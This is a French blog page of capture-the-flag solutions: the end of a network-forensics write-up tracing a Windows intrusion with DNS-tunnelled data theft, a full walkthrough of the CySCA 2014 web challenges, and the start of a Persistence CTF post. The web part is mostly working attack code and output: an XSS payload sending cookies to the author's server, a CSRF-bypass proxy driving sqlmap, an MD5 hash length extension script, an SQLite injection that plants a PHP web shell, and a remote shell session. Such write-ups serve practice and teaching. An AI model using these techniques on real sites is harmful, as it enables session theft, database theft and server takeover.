date /t >> c:\windows\a\%computername%_base.dat 
time /t >> c:\windows\a\%computername%_base.dat 
ipconfig /all >> c:\windows\a\%computername%_base.dat 
nbtstat -n >> c:\windows\a\%computername%_base.dat 
systeminfo >> c:\windows\a\%computername%_base.dat 
set >> c:\windows\a\%computername%_base.dat 
net share >> c:\windows\a\%computername%_base.dat 
net start >> c:\windows\a\%computername%_base.dat 
tasklist /v >> c:\windows\a\%computername%_base.dat 
netstat -ano >> c:\windows\a\%computername%_base.dat 
dir c:\ /a >> c:\windows\a\%computername%_base.dat 
dir d:\ /a >> c:\windows\a\%computername%_base.dat 
dir c:\progra~1 >> c:\windows\a\%computername%_base.dat 
dir c:\docume~1 >> c:\windows\a\%computername%_base.dat 
net view /domain >> c:\windows\a\%computername%_base.dat 
dir
rename e76a523f1b.dat 1.bat
dir
1.bat
dir
VICTIM_base.dat
@echo off 
cd c:\users && for /r %%i in (*.pdf) do copy "%%i" c:\windows\a\
cd c:\windows\a && a.exe a -hpqazWSXedc567 o.dat *.pdf
Le fichier 11 extrait par le dump est un exécutable Windows 32bits.
A regarder de plus près avec srch_strings, il s'agit de l'utilitaire winrar en ligne de commande.
Une recherche DDG sur le hash MD5 du fichier (070d15cd95c14784606ecaa88657551e) confirme cette supposition.

Après l'envoi de l'exécutable d'autres flux sont envoyés :
dir
rename 070d15cd95.dat a.exe
rename 31c9a36cdb.dat 2.bat
o.dat
De toute évidence le fichier a.exe est l'exécutable Winrar. Il reçoit ici la commande "a" pour créer une archive avec l'option -hp qui spécifie le mot de passe de chiffrement qazWSXedc567.

On est sur la bonne direction mais toujours pas de flag en vue. Cette fois je m'attaque aux requêtes en base32 allant vers le serveur DNS (donc des données exfiltrées).
Ce type de requêtes se trouve environ au milieu de l'ensemble des communication et le header applicatif (une fois le base32 décodé) fait apparaître une valeur de x = 467.

Je ne met pas le code du dump en entier, il suffit d'adapter le précédent pour extraire le base32 :
b32 = server[:-14].replace(".","").split("-")[0]
raw = base64.b32decode(b32, True)
header = raw[:10]
body = raw[11:]
x, length, blk = struct.unpack(">IIH", header)

if x != 467:
    continue
    
if blk == 0 and data:
    fd = open("file-{0:02}".format(i), "w")
    fd.write(zlib.decompress(data))
    fd.close()
    i += 1
    data = ""

data += body
Le dump permet d'obtenir le résultat des commandes vues précédemment :
VICTIM
 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
 console                                     1  Conn
>rdp-tcp#0         Administrator             2  Active  rdpwd
 rdp-tcp                                 65536  Listen
Tue 04/02/2014
03:52 PM

Windows IP Configuration

   Host Name . . . . . . . . . . . . : victim
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   Physical Address. . . . . . . . . : 00-50-56-97-14-DB
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 10.10.10.150(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.1
   DNS Servers . . . . . . . . . . . : 10.10.10.10
   NetBIOS over Tcpip. . . . . . . . : Enabled
---snip---
Host Name:                 VICTIM
OS Name:                   Microsoft Windows 7 Enterprise
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          sburns
---snip---
Host Name:                 VICTIM
OS Name:                   Microsoft Windows 7 Enterprise 
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          sburns
-- snip---
On trouve aussi les partages réseau, services et processus en cour parmi lesquels dumpcap.exe (utilisé pour générer l'export pcap).
Il y a aussi une connexion RDP établie avec la machine attaquante (10.0.0.103).
  TCP    10.10.10.150:3389      10.0.0.103:52350       ESTABLISHED     1080
Et dans les variables d'environnement on note ce qui est probablement le pseudo du pirate :
CLIENTNAME=ZERF-LAPTOP
A la fin de la capture on retrouve des requêtes DNS du même type mais avec une valeur de x différente (2210).
Et bingo ! Cette fois le dump nous sort une archive rar protégée par le mot de passe vu tout à l'heure qui contient deux fichiers :
Details: RAR 4, encrypted headers

 Attributes      Size    Date   Time   Name
----------- ---------  -------- -----  ----
*   ..A....     91183  04-02-14 13:15  secret document.pdf
*   ..A....    104736  04-02-14 13:15  sudo.pdf    
----------- ---------  -------- -----  ----
               195919                  2
Le PDF "secret document" ne contient que le flag : HoardDirectCrumb136
sudo.pdf contient une planche XKCD (Sudo make me a sandwich)

Victory

Classé dans : Non classé - Mots clés : aucun

Solution du Cyber-Security Challenge Australia 2014 (partie web)

Rédigé par devloop - -

Et bien tu viens plus aux soirées ?

Mais si, mais si... Ces derniers temps je me suis penché sur le CTF CySCA 2014.
Le CySCA ça signifie Cyber Security Challenge Australia. C'est un challenge national sponsorisé entre autres par le gouvernement australien, Microsoft et des sociétés australiennes.
Les organisateurs ont eu la bonne idée d'en faire une image virtuelle comme ça chacun peut s'y exercer alors que le challenge a officiellement fermé ses portes.

On peut notamment récupérer la machine virtuelle VMWare sur VulnHub.

Le challenge est énorme est une fois la VM mise en place on accède à un site sur le port 80 qui donne les missions à réaliser organisées par thématiques.
On trouve ainsi l'exploitation d'applications web, de l'inforensique Androïd, de la rétro-ingénierie, de la crypto, de la recherche de vulnérabilités et création d'exploit, de l'écriture de shellcode, de l'inforensique réseau, de la programmation et enfin une catégorie baptisée Random qui rassemble vraisemblablement des exercices que les organisateurs ne sont pas parvenus à catégoriser.

Bref du lourd, du très très lourd (pour paraphraser Michel)

J'ai décidé pour réduire de me concentrer uniquement sur la partie web (mis à part un exercice de programmation que j'ai fait dans la foulée). Chaque partie de l'article correspond au nom de l'exercice. A chaque fois il faut récupérer un flag (hé oui, c'est un CTF). C'est parti.

Club Status (80 points)

On dispose de l'indication suivante :
Only VIP and registered users are allowed to view the Blog. Become VIP to gain access to the Blog to reveal the hidden flag.

A l'adresse /index.php on trouve une série de liens en haut de page. Le lien "Blog" est grisé et en regardant la source on remarque qu'il n'y a pas de lien pour cette section.
Si on demande /blog.php on est redirigé vers la page de login.

Avec l'extension de navigateur Chrome EditThisCookie on voit très facilement qu'un cookie nommé vip est défini à la valeur 0.
On change cette valeur à 1, on recharge la page et hop... l'accès au blog est possible et nous révèle le flag ComplexKillingInverse411. Court et facile.

EditThisCookie VIP

Om nom nom nom (160 points)

Objectif : Gain access to the Blog as a registered user to reveal the hidden flag.
Sur le blog on trouve différents billets dont un faisant référence à une API REST à l'adresse /api/documents. On y reviendra plus tard...
En suivant les pages du site cela m'a permis d'énumérer des utilisateurs possibles et de lancer une attaque force brute sur le formulaire de login... mais sans résultat.

J'ai aussi remarqué que l'accès à la page de déconnexion provoque (même si l'on n'est pas connecté) les changements suivants sur les cookies :
Set-Cookie:user=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT
Set-Cookie:remember=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT
Set-Cookie:activity=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT
Je n'ai rien trouvé à ce niveau toutefois à force de tentatives j'ai fini par remarquer l'indication suivante pour l'un des articles du blog :
on 11th February 2014 by Sycamore (who last viewed this 57 seconds ago)

Une tâche planifiée semble ainsi simuler la présence de l'utilisateur Sycamore qui va sur l'article en question à intervalle régulier.

Le mécanisme de commentaires en bas de chaque article permet d'envoyer des commentaires sans authentification. A première vue il semble protégé contre les attaques XSS. Sauf qu'une indication nous explique comment poster des liens :
Links can be added with [Link title](http://example.com)
Le mécanisme BBcode-like nous permet de passer outre le filtrage des caractères. Ainsi j'ai pu poster le commentaire suivant :
[<script src=http://192.168.1.3/test.js></script>](test)
Et le javascript est bien interprété. Dans le script test.js placé sur un serveur local j'ai mis le contenu suivant :
var image = document.createElement('img');
image.src = "http://192.168.1.3/" + document.cookie;
document.body.appendChild(image);

Un navigateur moderne bloquerait sans doute l'utilisation de document.cookie dans un cas comme celui-ci mais ici j'ai rapidement reçu des lignes de ce type dans les logs de mon serveur Apache :
"GET /PHPSESSID=64pcr2a2hd583eqg579gpvrcs4;%20vip=0 HTTP/1.1" 403 - "http://localhost/blog.php?view=2" "
Mozilla/5.0 (Unknown; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) CasperJS/1.1.0-beta3+PhantomJS/1.9.7 Safari/534.34"

On voit ici l'utilisation de PhantomJS, un browser headless. On remarque surtout que l'exploitation a réussie.
Dès lors il suffit d'éditer PHPSESSID via EditThisCookie et de mettre la valeur récupérée.

User Flag: OrganicShantyAbsent505

Nonce-sense (220 points)


La mission : récupérer le flag stocké dans la base de données.

Quand on est connecté en tant que Sycamore on remarque une icône de poubelle à côté de chaque commentaire. Quand on affiche le code HTML on voit que le mécanisme de suppression se fait via une requête vers deletecomment.php utilisant jQuery :
window.csrf = '27fb15c0f098a858';
function deletecomment(obj, id) {
  $.post('/deletecomment.php', {csrf: window.csrf, comment_id: id}).done(function(data) {
    if (data['result']) {
      $(obj).parent().remove();
      window.csrf = data['csrf'];
    }
  });
}
Le script PHP prend deux variables : l'ID du commentaire ainsi qu'un token anti cross-site-scripting (ce serait trop facile sinon).

Émettre une requête HTTP avec un token valide permet de s'assurer rapidement que le script est vulnérable à une faille d'injection SQL.
Toutefois la présence de la protection anti-CSRF rend l'attaque non-automatisable par un outil d'attaque comme sqlmap... à moins de lui donner un coup de main ;-)

Pour cela j'ai eu recours à la librairie Python libmproxy : A library for implementing powerful interception proxies.

La documentation est succincte mais grâce à l'introspection offerte par Python on parvient assez facilement à ses fins.
Au final j'ai écrit le proxy interceptant suivant :
from libmproxy import controller, proxy, flow
import sys
import requests
import json

class StickyMaster(controller.Master):
    def __init__(self, server):
        controller.Master.__init__(self, server)
        self.current_csrf = None
        self.cookie = "vip=1; PHPSESSID=dt4k9fnq54ut6ndm78of7rm053;"

        r = requests.get("http://192.168.1.64/blog.php?view=1",
                headers={"Cookie": self.cookie})

        if "window.csrf = '" in r.content:
            start = r.content.find("window.csrf = '") + 15
            end = start + 20
            self.current_csrf = r.content[start:end].split("'", 1)[0]
            print "First csrf value =", self.current_csrf
        else:
            print "Can't get first csrf value :'("
            sys.exit()

    def run(self):
        try:
            return controller.Master.run(self)
        except KeyboardInterrupt:
            self.shutdown()

    def handle_request(self, msg):
        if msg.method == "POST":
            msg.headers["cookie"] = [self.cookie]
            params = msg.get_form_urlencoded()
            params['csrf'] = [self.current_csrf]
            msg.set_form_urlencoded(params)
        msg.reply()

    def handle_response(self, msg):
        if '"csrf"' in msg.content:
            d = json.loads(msg.content)
            self.current_csrf = d["csrf"]
            print "Changing csrf value for", self.current_csrf
        msg.reply()

config = proxy.ProxyConfig()
server = proxy.ProxyServer(config, 3128)
m = StickyMaster(server)
m.run()
Il s'initialise en se connectant au site via un cookie volé pour récupérer un premier jeton CSRF valide.
Ensuite le proxy intercepte les requêtes POST pour à mettre un token CSRF valide.
Le proxy récupère aussi la réponse du serveur cible car lors d'une requête de suppression la réponse contient aussi une nouvelle valeur pour le token anti-csrf (ce qui réduit ainsi le nombre de requêtes à passer).

Il est alors possible de lancer sqlmap en le faisant parler à notre proxy :
./sqlmap.py -u http://192.168.1.64/deletecomment.php  --data="comment_id=*&csrf=plop" --proxy=http://127.0.0.1:3128/

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 17:03:41

custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] Y
[17:03:43] [INFO] testing connection to the target URL
[17:03:43] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
[17:03:43] [INFO] testing if the target URL is stable. This can take a couple of seconds
[17:03:44] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on                                                                                                                        
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[17:04:04] [INFO] searching for dynamic content
[17:04:04] [INFO] dynamic content marked for removal (1 region)
[17:04:04] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[17:04:04] [INFO] confirming that (custom) POST parameter '#1*' is dynamic
--- snip ---
[17:04:37] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'
[17:05:37] [INFO] (custom) POST parameter '#1*' seems to be 'MySQL > 5.0.11 OR time-based blind' injectable 
--- snip ---
sqlmap identified the following injection points with a total of 107 HTTP(s) requests:
---
Place: (custom) POST
Parameter: #1*
    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause
    Payload: comment_id=-9267 OR (SELECT 4557 FROM(SELECT COUNT(*),CONCAT(0x71786c6871,(SELECT (CASE WHEN (4557=4557) THEN 1 ELSE 0 END)),0x71687a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&csrf=plop

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 OR time-based blind
    Payload: comment_id=-2919 OR 3325=SLEEP(5)&csrf=plop
---
[17:08:18] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 13.04 or 12.04 or 12.10 (Raring Ringtail or Precise Pangolin or Quantal Quetzal)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5.0
Une fois que sqlmap a détecté la méthode d'injection il suffit de le relancer en spécifiant les actions qui nous intéressent (ici dumper les infos de la base). Je vous renvoie à d'autres articles de CTF sur mon blog pour plus d'information.

On obtient alors les informations suivantes (en vrac) :
current database:    'cysca'
current user:    'cysca@localhost'

[5 tables]
+--------------+
| user         |
| blogs        |
| comments     |
| flag         |
| rest_api_log |
+--------------+

Table: rest_api_log
+--+------+-----------------------------------------------------------------------------------------------------------------------------------+------------------+----------------+-----------------------------+
|id|method| params                                                                                                                            | api_key          | created_on     | request_uri                 
+--+------+-----------------------------------------------------------------------------------------------------------------------------------+------------------+----------------+-----------------------------+
| 1| POST | contenttype=application%2Fpdf&filepath=.%2Fdocuments%2FTop_4_Mitigations.pdf&api_sig=235aca08775a2070642013200d70097a             | b32GjABvSf1Eiqry | 02-21 09:27:20 | \\/api\\/documents          |
| 2| GET  | _url=%2Fdocuments&id=2                                                                                                            | NULL             | 02-21 11:47:01 | \\/api\\/documents\\/id\\/2 |
| 3| POST | contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest-api.txt&api_sig=95a0e7dbe06fb7b77b6a1980e2d0ad7d                           | b32GjABvSf1Eiqry | 02-21 11:54:31 | \\/api\\/documents          |
| 4| PUT  | _url=%2Fdocuments&id=3&contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest-api-v2.txt&api_sig=6854c04381284dac9970625820a8d32b | b32GjABvSf1Eiqry | 02-21 12:07:43 | \\/api\\/documents\\/id\\/3 |

Table: flag
+----------------------+
| flag                 |
+----------------------+
| CeramicDrunkSound667 |
+----------------------+

Table: user
+----+------+------------------------------+------------+----------------------------------+-----------+------------+
| id | salt | email                        | created    | password                         | last_name | first_name |
+----+------+------------------------------+------------+----------------------------------+-----------+------------+
| 1  | 5a7  | syc.burns@fortcerts.cysca    | 2013-03-04 | 1de5a5a2f0e85bda8ab7d0b85073435a | Burns     | Sycamore   |
| 2  | 9fc  | sar.burns@fortcerts.cysca    | 2013-04-16 | c785e6590d03c89fb9e54e9b18ee3cf4 | Burns     | Sarah      |
| 3  | 8d5  | kev.saunders@fortcerts.cysca | 2013-05-15 | 1eebae2bd335349adf3959ad33b58dc5 | Saunders  | Kevin      |
+----+------+------------------------------+------------+----------------------------------+-----------+------------+

Hypertextension (260 points)

Cette fois l'objectif est d'attraper le flag en obtenant un accès au panel de cache.
L'utilisation de DirBuster ou du module mod_negotiation_brute de Metasploit nous apprend rapidement qu'il y a un script cache.php à la racine. Si on tente d'y accéder on est bêtement redirigés vers l'index (l'espoir fait vivre).

On a tout de même récupéré une information essentielle dans la précédente attaque : une clé d'API.
Les requêtes de modification sur l'API doivent être signées de cette façon :
All API calls using an authentication token must be signed and contain a X-Auth header with your api_key e.g. X-Auth: <api_key>.
This will include all calls that modify content i.e. POST/PUT/DELETE methods.

The process of signing is as follows.
- Sort your argument list into alphabetical order based on the parameter name. e.g. foo=1, bar=2, baz=3 sorts to bar=2, baz=3, foo=1
- concatenate the shared secret and argument name-value pairs. e.g. SECRETbar2baz3foo1
- calculate the md5() hash of this string
- append this value to the argument list with the name api_sig, in hexidecimal string form. e.g. api_sig=1f3870be274f6c49b3e31a0c6728957f
Ici nous disposons bien de la clé d'API mais pas du secret partagé... L'exploitation semble donc impossible.
On est ici toutefois dans une situation bien particulière :
  • on connait par les logs des données en clair qui ont été envoyées.
  • pour ces données envoyées on dispose de la signature qui a été générée.
  • le secret partagé est situé au début des données et non à la fin.
Dès lors il est possible de procéder à une hash length extension attack. SkullSecurity a écrit un très bon article sur ce sujet que j'avais d'abord découvert sur le CTF web de Stripe.
D'ailleurs le CySCA 2014 a montré quelques similitudes avec cet autre CTF. Ici l'une des différences est que l'algo de hashage est MD5 et non SHA1.

Sur le Stripe il avait suffit d'utiliser un outil tout fait écrit par vnsecurity.
Ici j'ai décidé d'approfondir et d'écrire l'outil d'attaque moi même pour mieux comprendre cette attaque.

Globalement l'idée est que l'on puisse reprendre un hashage de données là où il en était. En programmation (comme avec la librairie hashlib de Python) on utilise habituellement une méthode update qui permet de reprendre le hashage.
Ici c'est légèrement différent car pour se faciliter les calculs on "arrondi" en quelque sorte le statut de chiffrement à la taille du bloc utilisé par l'algorithme (tel que cela aurait pu être fait avec un langage comme le C).
Grace à la taille des données en clair que l'on connait (plus ou moins) et la signature correspondante on peut ainsi recréer l'état cryptographique et y ajouter des données afin de générer une nouvelle signature valide (si ce n'est pas clair, je vous invite à lire l'article cité avant).

Il reste tout de même deux problématiques :
  • on ne connait pas la taille du secret partagé
  • il faut trouver quoi rajouter et comment s'y prendre
Pour le premier problème j'ai eu recours à l'outil hash_extender de SkullSecurity et j'ai bêtement testé différentes longueurs pour le secret partagé.

Voici un exemple d'utilisation :
$ ./hash_extender -d contenttypeapplication/pdffilepath./documents/Top_4_Mitigations.pdf -s 235aca08775a2070642013200d70097a -f md5 -a /../../../../../../../etc/passwd -l 16
Type: md5
Secret length: 16
New signature: a7311b7d7a12b28ff48e9414141ebb07
New string: 636f6e74656e74747970656170706c69636174696f6e2f70646666696c65706174682e2f646f63756d656e74732f546f705f345f4d697469676174696f6e732e7064668000000000000000000000000000000000000000000000000000000000000000000000000098020000000000002f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
Là où c'est laborieux c'est qu'il faut reprendre ces infos pour les placer par exemple dans un script Python de cette forme pour émettre la requête :
import requests
import hashlib
import urllib

hdrs = {
    "Cookie": "vip=1",
    "X-Auth": "b32GjABvSf1Eiqry",
    "Content-Type": "application/x-www-form-urlencoded"
    }

contenttype = "application%2Fpdf"
filepath = "./documents/Top_4_Mitigations.pdf"
filepath += "%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00"
filepath += "%00%00%00%00%00%00%00%00%00%00%98%02%00%00%00%00%00%00/../../../../../../../etc/passwd"

filepath = filepath.replace('/', '%2F')

api_sig = "a7311b7d7a12b28ff48e9414141ebb07"

payload = "contenttype={0}&filepath={1}&api_sig={2}".format(contenttype, filepath, api_sig)
sess = requests.session()
r = sess.post("http://192.168.1.64/api/documents",
        headers=hdrs,
        data=payload)

print r.content
Avec une taille de secret partagée inférieure à 16 on obtenait {"error":"API signature failed."} alors qu'avec une longueur de 16 on reçoit {"error":"File path does not exist"}.

Pour ce qui est du second problème il n'est malheureusement pas possible de remonter l'arborescence en rajoutant un chemin à la fin du filepath :-(. Normalement Linux et PHP permettent de rentrer dans des dossiers qui n'existent pas pour les remonter ensuite... Sauf que le script PHP doit faire une vérification à l'aide de la fonction file_exists() qui ne semble pas possible de berner.

De la même façon placer un second argument filepath avec une valeur différente ne fonctionne pas mieux. La signature ainsi générée n'est plus valide.

La solution à ce problème est liée à la façon dont l'API retire les caractères = et & de la querystring pour obtenir les données à hasher. C'est à dire que la chaîne response=42 donnera la même signature qu'avec resp=onse42. Ainsi on peut faire en sorte que le script PHP du serveur calcule toujours la même signature mais au moment de lire la variable dans $_POST il ne l'aura pas... à moins qu'on lui en donne une supplémentaire avec une signature valide.

Pour automatiser l'attaque j'ai eu recours à une librairie MD5 100% Python trouvée sur pastebin que j'ai renommé puremd5 dans le script suivant que j'ai écrit :
import puremd5
import struct
import hashlib
import urllib
import requests
import sys

hdrs = {
    "Cookie": "vip=1",
    "X-Auth": "b32GjABvSf1Eiqry",
    "Content-Type": "application/x-www-form-urlencoded"
    }

data = "contenttypeapplication/pdffilepath./documents/Top_4_Mitigations.pdf"
append = "filepath" + sys.argv[1]

length_secret = 16
length_data = len(data)
secret = "A" * length_secret

count = (length_secret + length_data) * 8

# We save some space for the length of data (8 bytes) plus the 0x80 byte
null_count = 64 - ((length_secret + length_data + 9) % 64)
padding = "\x80" + ("\0" * null_count)

# new_data will be length-multiple of 64
new_data = secret + data + padding + struct.pack("Q", count)

base_signature = "235aca08775a2070642013200d70097a"
#print "Base signature      ", base_signature
A, B, C, D = struct.unpack("IIII", base_signature.decode("hex_codec"))

m = puremd5.MD5()
m.update("A" * len(new_data))
m.A = A
m.B = B
m.C = C
m.D = D
m.update(append)
new_signature = m.hexdigest()
#print "Calculated signature", new_signature

added = urllib.quote(padding + struct.pack("Q", count))
added += "&filepath=" + urllib.quote_plus(sys.argv[1])

post_data = "contenttype=application%2Fpdf&f=ilepath.%2Fdocuments%2FTop_4_Mitigations.pdf"
post_data += added
post_data += "&api_sig=" + new_signature
print post_data

sess = requests.session()
r = sess.post("http://192.168.1.64/api/documents",
        headers=hdrs,
        data=post_data)

#print r.headers
print r.content
Le script utilise l'API en POST permettant de rendre public un document déjà présent sur le serveur. On utilise le script de cette façon :
$ python arg_ownhash.py index.php
contenttype=application%2Fpdf&f=ilepath.%2Fdocuments%2FTop_4_Mitigations.pdf%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%98%02%00%00%00%00%00%00&filepath=index.php&api_sig=529d58265e28414a5f5095c253ea5e31
{"id":"4","uri":"\/api\/documents\/id\/4"}
Il n'y a alors qu'à taper l'adresse /api/documents/id/4 et récupérer la source PHP de la page d'index. Ensuite il faut faire pareil avec les autres scripts PHP.

Le fichier cache.php commence par ces lignes de code :
$flag = 'OrganicPamperSenator877';
if ($_GET['access'] != md5($flag)) {
  header('Location: /index.php');
  die();
}

Injeption (280 points)

L'objectif est ici de récupérer le fichier flag.txt à la racine du système du fichier.
Si l'on tente de réutiliser le script précédent pour remonter l'arborescence de plus d'un niveau on obtient un message d'erreur informant que l'on ne peut pas quitter /var/www.

Il faut donc se plonger dans les méandres du système de cache du site.

On remarque que la page d'index permet de récupérer une page en cache si on passe un paramètre debug :
<?php
// Not in production... see /cache.php?access=<secret>
include('../lib/caching.php');
if (isset($_GET['debug'])) {
  readFromCache();
}
La fonction readFromCache de caching.php est la suivante :
/**
 * Reads the cache from the db and displays it
 * Returns false is not found in cache
 */
function readFromCache() {
  $key = md5($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
  
  $db = new CacheDb();
  if (($data = $db->getCache($key)) !== false) {
    echo $data;
    exit();
  }
}
Elle concatène donc l'hôte avec l'URI demandée (ce qui donner par exemple server.tld/page?id=1). La somme MD5 de cette chaîne celle alors de clé pour retrouver des données en cache depuis une base SQLite.
  public function __construct() {
    $this->conn = new PDO('sqlite:../db/cache.db');
  }
  
  public function getCache($key) {
    $query = "SELECT data FROM cache WHERE uri_key='$key'";
    
    $result = $this->conn->query($query); 
    return $result->fetchColumn();    
  }
Notez que le cache est vide par défaut et sa récupération est donc sans intérêts.
Par contre il y a un point intéressant dont tout le monde n'est pas forcément au courant : la variable PHP $_SERVER['HTTP_HOST'] ne vient pas par magie d'un fichier de configuration quelconque.
Le HTTP_HOST est en réalité repris directement depuis l'entête Host envoyé dans la requête HTTP donc contrôlable par un attaquant.

Pour ce qui est de la mise en cache, le cheminement commence par le panel d'administration du cache (cache.php).
Ce script dispose d'un formulaire permettant de spécifier une URL et un titre.

Le code principal est le suivant :
$errors = array();
if (!empty($_POST)) {
  if (!isset($_POST['title'])) {
    $errors[] = 'Missing title';    
  } else {
    if (strlen($_POST['title']) > 40) {
      $errors[] = 'Title cannot exceed 40 characters';
    }
  }
  
  if (!isset($_POST['uri'])) {
    $errors[] = 'Missing URI';
  }
  
  if (empty($errors)) {
    try {
      cachePage($_POST['uri'], $_POST['title']);      
    } catch (Exception $ex) {
      $errors[] = $ex->getMessage();
    }
  }
}
Déjà le titre est limité à 40 caractères. Ensuite la méthode cachePage est appelée avec l'URL et le titre postés sous notre contrôle.

Voici la fonction cachePage :
function cachePage($uri, $title) {
  if (!($parseUrl = parse_url($uri))) {
    throw new Exception('Malformed URI');
  }
  
  if ($parseUrl['scheme'] != 'http') {
    throw new Exception('Only http scheme is allowed');
  }
  
  if ($parseUrl['host'] != $_SERVER['SERVER_NAME'] && $parseUrl['host'] != $_SERVER['SERVER_ADDR']) {
    throw new Exception('Remote hosts are not allowed');
  }
  
  if (!($data = file_get_contents($uri))) {
    throw new Exception('Failed to load URI');
  }
  
  $key = md5($parseUrl['host']
          . (isset($parseUrl['path']) ? $parseUrl['path'] : '') 
          . (isset($parseUrl['query']) ? '?'.$parseUrl['query'] : ''));
  
  $db = new CacheDb();
  $db->setCache($key, $title, urlencode($uri), $data);
}
Ici l'URL est parsée et il est vérifié que le protocole spécifié est http. Par conséquent impossible de passer un file:// sans être détecté.
Ensuite l'hôte spécifié dans l'URL doit correspondre à l'hôte du serveur du challenge... sauf que comme pour HTTP_HOST précédemment on a le contrôle sur ces variables si on forge une requête nous même.
Enfin après ces vérifications un hash MD5 est calculé de la même façon est utilisé pour appeler setCache.
L'URL est aussi passée à la fonction mais encodée... En fin de compte on a de véritable contrôle que sur $title (limité à 40 caractères) et... $data car on peut jouer avec HTTP pour forcer le système de cache à lire le contenu d'une adresse nous appartenant.

Pour en finir avec le code PHP voici la fonction setCache :
  public function setCache($key, $title, $uri, $data) {
    $query = "INSERT INTO cache VALUES ('$title', '$key', '$uri', '$data', datetime('now'))";
    
    if (!($this->conn->exec($query))) {
      $error = $this->conn->errorInfo();
      throw new Exception($error[2]);
    }
    
    return $this->conn->lastInsertId();    
  }
Cette fonction est vulnérable à une injection SQLite :-) La longueur de $title rend l'attaque impraticable par ce vecteur mais via $data on dispose d'autant de place que nécessaire.

Un article présent sur le web décrit une technique d'injection SQLite permettant de provoquer la création d'un fichier sur le serveur.

L'idée est de pouvoir générer la requête suivante avec injection :

INSERT INTO CACHE VALUES ('t', 'k', 'u', '', DATETIME('NOW')); ATTACH DATABASE '/var/www/backdoor.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<? system($_GET["cmd"]); ?>');--', DATETIME('NOW'))

Pour cela il suffit de placer la partie en rouge dans un fichier req.txt sur un serveur web à nous puis de forger une requête avec comme Host l'adresse IP de notre serveur :
import requests

host = "192.168.1.3"

d = {"title": "t", "uri": "http://192.168.1.3/req.txt"}

hdrs = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Host": host
        }

r = requests.post("http://192.168.1.64/cache.php?access=f4fa5dc42fd0b12a098fcc218059e061",
        data=d,
        headers=hdrs)

print r.status_code, r.reason
print r.content
Et cela... n'a pas fonctionné car /var/www ne correspondait finalement pas au DocumentRoot. J'ai testé différents sous-dossiers avant de me rendre compte qu'en utilisant simplement un nom de fichier (sans path) ça écrivait dans le même dossier que cache.php (donc à la vrai racine web).

Avec la backdoor PHP ainsi placée on pouvait alors facilement mettre en place un tshd et accéder ensuite au serveur :
$ ./tsh 192.168.1.64
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ bash
www-data@misc:/var/www/src$ ls
api.php  backdoor.php  blog.php  cache.php  css  deletecomment.php  documents  favicon.ico  fonts  img  index.html  index.php  js  login.php  logout.php
www-data@misc:/var/www/src$ cd ..
www-data@misc:/var/www$ ls
casper.js  db  lib  release  src
www-data@misc:/var/www$ cd / 
www-data@misc:/$ ls
bin  boot  challenges  chroots  dev  etc  flag.txt  home  initrd.img  lib  lost+found  media  mnt  opt  proc  root  run  sbin  selinux  srv  sys  tmp  usr  var  vmlinuz
www-data@misc:/$ cat flag.txt
Flag: TryingCrampFibrous963
Elle est pas belle la vie ?

Classé dans : Non classé - Mots clés : aucun

Solution du CTF Persistence

Rédigé par devloop - -

Nitro

Le CTF Persistence est le dernier en date organisé par VulnHub et largement teasé sur Twitter.
Il est l'objet de cadox à gagner donc c'est une bonne raison pour s'y mettre.
J'ai profité d'un peu de temps libre pour m'y mettre et mis de côté le CTF OwlNest qui résiste pour le moment à mes attaques malgré quelques bonnes idées trouvées :(
Notez que j'ai rencontré des difficultés à mettre en place la VM de Persistence avec VirtualBox 4.2.18 ou VMWare sous Linux... J'ai finalement fait tourner cette image virtuelle sous un VirtualBox depuis Windows.

